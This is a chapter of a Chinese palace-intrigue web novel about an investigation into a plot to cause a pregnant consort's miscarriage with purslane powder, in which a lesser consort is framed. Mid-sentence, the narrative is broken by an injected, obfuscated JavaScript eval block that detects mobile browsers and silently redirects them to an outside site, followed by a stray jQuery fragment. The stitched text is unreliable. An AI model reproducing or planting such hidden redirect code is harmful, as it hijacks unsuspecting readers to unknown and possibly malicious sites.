小宫女被提上去时,殿内紧张的气氛愈发沉重。
殷璟初仔细留意殿内众人的神情,很可惜,无甚变化。
小宫女哆哆嗦嗦的,第一次在陛下和这么多主子面前露脸,自然有些怯懦。
她重重地磕了响头,这才颤颤巍巍道:“奴婢小莲,今年二月底被拨到皇后娘娘的小厨房伺候的。昨,昨夜,奴婢起夜的时候看见小红和一个人站在廊下说话。但因为奴婢模模糊糊的,并没有看清楚那人的长相,只是看见他塞给了小红一个纸包……”
小红也是在坤宁宫小厨房打下手的宫人。
江顺将人也带了上来,听了这话,小红的脸涨的通红,她猛地起身瞪着小莲,怒声咒骂道:“你在胡沁什么呢?我,我何曾与人私相授受。陛下,陛下,您莫要听她胡说八道,她,她就嫉妒奴婢得御厨看重,她……”
她虽然是驳斥人的,但满脸通红,越说越结巴反而显得有鬼,一下子就引得众人怀疑。
玫妃瞥了她一眼,冷笑道:“陛下,您瞧这宫女虽然矢口否认,可脸色红的不成样子。若是自己心里没鬼,怎会露怯,依着臣妾看她们都要好好查一查。”
这话倒是,萧煜瞥了眼江顺,江顺忙将方才派去搜查厢房的宫人搜出来的东西递了来,他垂眸恭谨道:“陛下,这就是从宫女小红的厢房里搜出来的东西。”
萧煜接过那纸包,打开来看却是墨绿色的粉末,齐太医眼尖瞧见,萧煜将东西让人给他查看,齐太医只是略略闻了闻,忙道:“陛下,这就是马齿苋研磨成的粉。”
话音落下,这便是证据确凿了。
从厢房里头突然搜出来的马齿苋粉,让小红愣在了原地,她反应过来摇了摇头,哭喊道:“陛下,陛下这东西绝对不是奴婢的,是,是有人要暗害奴婢啊。奴婢一直勤勤恳恳在皇后娘娘的小厨房做事,从来不曾生出过这些腌臜心思,奴婢也不知道是谁要这样陷害我,陛下要为奴婢做主啊陛下。”
她的声音太过尖锐,尤其在这样的夜里听来,不免让人觉得不寒而栗。
萧煜皱着眉头,江顺忙让人往她嘴里塞了布,又道:“陛下,现如今该怎么办?”
视线又落在萧煜身上。
皇后冷冷地望着这一切,她瞥了眼小红,又望向小莲,陡然心底蔓延出一股无力来,又觉得很可笑。
她果真是轻视了,一时不察,坤宁宫的小厨房竟然被安插进来这么多钉子。果然是可恨至极,她偏生还不曾察觉,如今是拿她做筏子对付贤妃,若是再对绩儿下手呢?她不敢想象。
还未等萧煜开口,皇后站起身来,她郑重地行过一礼道:“陛下,请将此事交给臣妾来处置吧。三日内,臣妾必定给您一个答复。”
皇后忽然应下此事,倒让玫妃等人有些迟疑,萧煜没有马上应允,过了几秒钟,他才不咸不淡地点点头。
今儿闹了这样一通已经很晚了,在座之人都已经疲惫,也没有再等下去的心思了。
萧煜也没了去惠和殿的心思,径直回了紫宸殿,至于其余嫔妃,待陛下离开后都松泛了许多,一个两个面上都透着浓浓的疲倦之色,纷纷准备结伴回宫。
殷璟初出了章台宫,骆修容紧随其后,她淡淡一笑道:“你才入宫,就看见这样一场闹剧,害怕么?”
自从二人结盟后,关系亲近了许多。无人在意之处,她们都有来往。一来二去的,能说的越来越多了。
殷璟初不置可否,她抬头眺望远处,慢慢道:“嫔妾只是觉得,这宫里比我所能想象的残忍多了。许多事情都隐藏在暗面,以为自己看清了一些,可还是高估自己了。”
骆修容笑了笑,淡淡道:“岂止是你,我心里未尝没有这样的感觉。总觉得拨开了迷雾也未必能看的清楚。端说今日之事,你如何想?”
殷璟初浅浅一笑,反问道:“嫔妾蠢笨,瞧的不大清楚,还望娘娘解惑。”
“皇后做事一向谨慎细心,今天竟然也被算计进去了,一时不察,你瞧着吧坤宁宫这几日必定要大肆清理一番,将那些钉子都拔出去。”骆修容又扫了眼四周,见只有彼此的宫女在,方才又压低声音道,“今日之事未必没有贵妃的手笔在,可惜还是有人道高一丈,为旁人做了嫁衣。”
“所以,娘娘您觉得皇后会如何处置?”
骆修容轻轻一笑,漫不经心道:“你瞧着吧,最后什么都查不出来。顶多那小红顶了罪,至于小莲,没多久也会慢慢消失的。牵涉其中的人在宫里活不长。”
这话倒是真的。
别过了骆修容,殷璟初与兰时徒步回宫。因为折腾了半夜很疲惫了,所以一回到宫里就沐浴歇下了,但这一夜殷璟初做了很长很长的梦。
第二日起身时,莹妆和兰时在廊下说话的声音传来,殷璟初险些以为请安要迟了,一问才知道原来皇后娘娘今日特意免了众人请安,恩准在自己宫里好好休息。
大约是因为昨夜的事情,皇后体恤的缘故。
听说小莲和小红都被带进了慎刑司,但还没有消息传来。
一直到第三日,慎刑司传来了消息小红守不住刑认罪了,说是受人指使谋害贤妃腹中的皇嗣,这供出来的背后主使却是让人始料未及。
“你说是谁?”
殷璟初端着茶盏的手晃了晃,吃惊不小。
“小红连着受了三日的酷刑,今日上午清醒来便招供了一切都是受容更衣的指使。”兰时挑了挑眉,缓声道,“容更衣早前对皇后娘娘怀恨在心,因此想要报复她,便重金收买了小红。小红起初不肯,但容更衣拿捏住了她与侍卫通奸,秽乱宫闱的证据,小红不得不从,那夜也是容更衣派人给她送去马齿苋粉,如今真相大白,皇后娘娘已经禀报了陛下。”
信息量太大,殷璟初无论如何都想不到此事还能跟容更衣扯上干系。
看样子,她成了背锅的冤大头。可如此一来,殷璟初便明白了这一局与管贵嫔和岑容华脱不了干系,岑容华在其中扮演着推波助澜的角色,而管贵嫔呢?
桃红摇了摇头,叹了口气道:“仔细一想这缘由岂非有些牵强了,容更衣哪里来的这么大的恨性记恨皇后娘娘这样久?还能想到这个招去谋害皇嗣。从外面看这理由说的过去,可只要一想都知道不对劲。”
殷璟初笑了笑,若是贤妃因此小产,陛下一定不会轻易放过,可能会继续严查下去。
但贤妃没有小产,此事大概是到此为止了。只是没了一位容更衣,于宫里而言算不得什么。
蕊珠带人去常宁阁时,容更衣还不知道大难临头,她满心为着被陛下遗忘而不甘,卯着劲想该怎样复宠。
当日想破了脑袋,只是后悔不该一时得意忘形得罪了皇后那边,否则也不会沦落到这般田地。
如今新人中已经渐渐形成了气候,偏她也算是一手好牌打得稀烂,落入这样的境况中,只盼着巴结岑容华,将来岑容华能借着公主在陛下跟前露脸,她也能沾到一点福气吧。
这样想着,岑容华脸色才好了些。
忽然,外头一阵杂乱的声音传来,“蕊珠姑娘来了。”
宫里人人都知道蕊珠是皇后身边一等一得力的女官,身份非同寻常。
就算平时皇后有什么需要赏赐人,也很少要蕊珠出面,如果蕊珠出面了,那必定是什么了不得的人。
因此听到蕊珠的名号时,容更衣先愣了愣,而后面上一喜,以为有什么好事要轮到自己了,她赶忙走到铜镜前看自己的穿着打扮是否齐整,等到身边宫女都赞不绝口,她这才放下心来。
蕊珠带着一众宫人来,却不似容更衣想象中的笑容满面,相反,脸色有些难堪,她怔了怔便问道:“蕊珠姑娘过来是否是皇后娘娘有什么吩咐?”
“奴婢奉陛下和皇后娘娘的命令来请容更衣到坤宁宫去一趟,陛下和娘娘有话要问你。”蕊珠语气冷冰冰的,并不很将她放在眼里。
容更衣虽然不是很有眼力见的人,但明显察觉到了不对劲儿,她皱了皱眉有些迟疑道:“你这话是什么意思?”
蕊珠语气又冷了几分,将方才的话重复了一遍。
容更衣却觉得有些惴惴不安的,她忽然摇了摇头,不知道哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129134|148127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里来的勇气道:“不,我不跟你去。你莫不是假传皇后娘娘的口令,不,我不去。”
见容更衣敬酒不吃吃罚酒,言行无状,蕊珠有些头疼,她挥了挥手让后头的宫人上前把持住容更衣,容更衣脸色大变,她一边奋力挣脱,一边大喊大叫道:“你这是做什么?我还是陛下的嫔妃,是宫里的小主,凭你一个宫女也敢以下犯上,再这样不知死活,我……”
蕊珠见她还没有认清楚局势,她摆了摆手让人松开容更衣的手,而后淡声道:“小主,只是恐怕你往后再也没有辩驳的机会了。小红在慎刑司受不住刑招供了是受您指使谋害贤妃腹中子嗣,你宫里的小路子也认了奉你的命去送东西,如此一来真相大白,陛下大怒,皇后娘娘请您过去认罪。”
容更衣愣在了原地,一副不敢置信的模样。她摇了摇头,无力道:“你胡说,我怎么可能害贤妃腹中的皇嗣呢?不,不是我,我是被人冤枉的,绝对不是我。”
伴随着容更衣凄厉的叫声,回荡在永和宫中久久不曾消散。
宣德宫中,正殿气氛凝重,乳母抱走了二公主,留下管贵嫔和岑容华说话。
丽春奉上一盏茶来,她望见管贵嫔瞥了眼岑容华,冷声道:“事情可都妥帖了?”
岑容华倒吸一口气道:“娘娘放心,此事绝不会出差错。只是可惜,如今这样一番筹谋划策,贤妃腹中皇嗣还是安然无恙。”
管贵嫔闻言,嘴角露出一抹怪异的笑容来,她淡声道:“怕什么?如今离生还有四个多月,这怀胎最是不易,如今一个坎算是过去了,往后还有呢。本宫可就盼着贤妃能够平平安安诞下这个皇嗣来。”
管贵嫔的眼神中敛去了最后一丝光亮,却让岑容华不由得胆颤心惊。
越是这种时候,她越是没由来的畏惧。与管贵嫔相处多年,旁人或许不了解她的真面目,可是岑容华了解,正是因为太过熟悉,太过了解,所以她才害怕。
这些年来,她们手上并非干干净净。岑容华害怕将来有一日东窗事发,什么都保不住。管贵嫔有多心狠手辣,今日容更衣的下场,恐怕就是来日她的下场。
“是。”
管贵嫔见她有些心不在焉,轻轻一笑话中有话道:“你怕了?当日本宫就告诉过你,富贵险中求,没有什么好东西是白白扔给你的,想要的就要去争。依着陛下如今对贤妃的看重,贤妃不论是生了皇子还是公主,你以为你的嫙儿可还有立足之地?”
“皇长子的生母是皇后,嫡长子身份非下头人能比。大公主的生母骆修容虽然不是出身名门,可她已经位列九嫔,你呢,你却只是个小小容华,若是一辈子都只是个容华,将来哪里有保护二公主的资格?”
岑容华听着这番话,她咬了咬牙道:“是,嫔妾明白。”
“明白就好。有些话,有些事情该烂就烂在肚子里吧,往后永远都不要想起,也不再害怕。人啊,都是向前看的。”
管贵嫔轻飘飘一句话,她也不看岑容华,只是瞧着她身子颤抖起来,管贵嫔嘴角却渗出笑意来。
等岑容华离开后,管贵嫔笑意敛了些,她淡声道:“上不了台面的蠢货。”
丽春扯了扯嘴角笑着道:“虽然没有让贤妃失去子嗣,可也算是元气大伤。奴婢觉得岑容华已经尽心了,又有容更衣做背锅的,主子尽可以高枕无忧。”
管贵嫔勾了勾嘴角,冷冷道:“你以为我是在庆幸有人背锅么?这一次,我费了一番心思,也不过是给旁人做了嫁衣。舍了一个容更衣,却是半分目的都不曾达到。”
丽春一愣,有些不明白管贵嫔话里的意思。
管贵嫔却放下茶盏,起身缓缓道:“我给的马齿苋的用量根本达不到见红,顶多让贤妃有些轻微不适罢了。可偏偏贤妃竟然见红了,你道是什么缘故?”
丽春听了这话还有些发怔,她以为自家主子是在恼恨搭上了容更衣,贤妃那边却安然无恙,相当于做了一番白用功。
可瞧着似乎不是这个意思。
管贵嫔冷笑道:“终究还是我小看她了,有时候舍不得孩子套不得狼。”